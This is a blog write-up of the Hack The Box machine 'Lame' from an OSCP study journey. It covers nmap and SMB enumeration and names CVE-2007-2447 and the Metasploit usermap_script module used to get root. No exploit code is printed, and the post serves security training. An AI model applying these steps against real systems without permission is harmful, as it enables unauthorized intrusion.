Since this is the first machine for this journey, let’s that by downloading the OpenVPN configuration from HTB and creating a quick alias to connect (I will be using Kali Linux by the way, not the integrated Pwnbox):

$ echo "alias htb='sudo openvpn /home/kali/VPNs/htb.ovpn'" >> ~/.zshrc (or ~/.bashrc)

Logout / Login and then:

$ htb

Let’s start with a plain nmap:

$ nmap 10.10.10.3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-08 04:22 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds
$ ping 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=22.0 ms
64 bytes from 10.10.10.3: icmp_seq=2 ttl=63 time=22.6 ms
...

Which is immediately lying that the machine doesn’t respond to ping. You need to add the -Pn flag to scan a machine that doesn’t “respond to ping”:

$ nmap 10.10.10.3 -Pn
...
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 4.78 seconds

It seems the machine has SMB shares, let’s enumerate them:

$ smbclient -L 10.10.10.3
Password for [WORKGROUP\kali]: (empty)
Anonymous login successful

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
tmp             Disk      oh noes!
opt             Disk      
IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server                   Comment
---------                   -------
Workgroup            Master
---------                   -------
WORKGROUP     LAME

“oh noes!”? lol. Lame, I guess? Let’s see what we find in tmp:

$ smbclient \\10.10.10.3\tmp 130 ⨯
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Sun Jan 8 04:31:20 2023
.. DR 0 Sat Oct 31 03:33:58 2020
.ICE-unix DH 0 Sun Jan 8 04:20:46 2023
vmware-root DR 0 Sun Jan 8 04:21:13 2023
.X11-unix DH 0 Sun Jan 8 04:21:12 2023
.X0-lock HR 11 Sun Jan 8 04:21:12 2023
vgauthsvclog.txt.0 R 1600 Sun Jan 8 04:20:44 2023
5574.jsvc_up R 0 Sun Jan 8 04:21:50 2023

7282168 blocks of size 1024. 5386552 blocks available

Of these files, only vgauthsvclog.txt.0 and .X0-lock are downloadable, and they contain no valuable information. None of the other shares seems to be useful either. Maybe we need to find some credentials first.

The other open services did not accept connections without credentials either. However, I noticed generally outdated software running. Let’s do a deeper scan and see if there is a vulnerability we can find:

$ sudo nmap -Pn -script vuln,default -p21,22,139,445 -sV -O 10.10.10.3

It turns out Samba 3.0.20-Debian is vulnerable to CVE-2007-2447. Use the Metasploit framework and apply the multi/samba/usermap_script module:

whoami
root
cat /root/root.txt
c3a***************************************
cat /home/makis/user.txt
e14***************************************

There are a few more interesting paths on this machine. My guess is there is more than one way to the flags, but I will leave this up to you to explore!

So what did we learn from this machine? Sometimes a host is so open you don’t know where to start =).

PS: Γεια σου Μάκη!

Path to OSCP/PEN-200

Over the next few months (years?) I will document my attempt to obtain the OSCP certification on this blog. By doing my own research online, I have concluded that probably the following path is the most optimal:

  1. Complete the Offensive Pentesting TryHackMe learning path – Done.
  2. Complete TJ_Null’s list of Hack The Box OSCP-like machines.
  3. Enroll in the OSCP/PEN-200 course and complete your certification.

As evident by the list above, I have completed the first step:

So the next step is to complete TJ_Null’s list.

I’m aware that many other security professionals have done similarly in the past, and this is my way of learning while returning to this site and reviewing my notes. As a bonus, you can use my notes in your journey should you decide to take the OSCP certification.

By the way, here is my Hack The Box profile, and yes, sadly, you will need a VIP subscription to be able to access retired machines. I purchased the annual subscription and canceled it immediately so that it doesn’t surprise me by renewing automatically in a year.

Want to follow my journey in real time? Subscribe to this site’s RSS feed (yes, this still is a thing).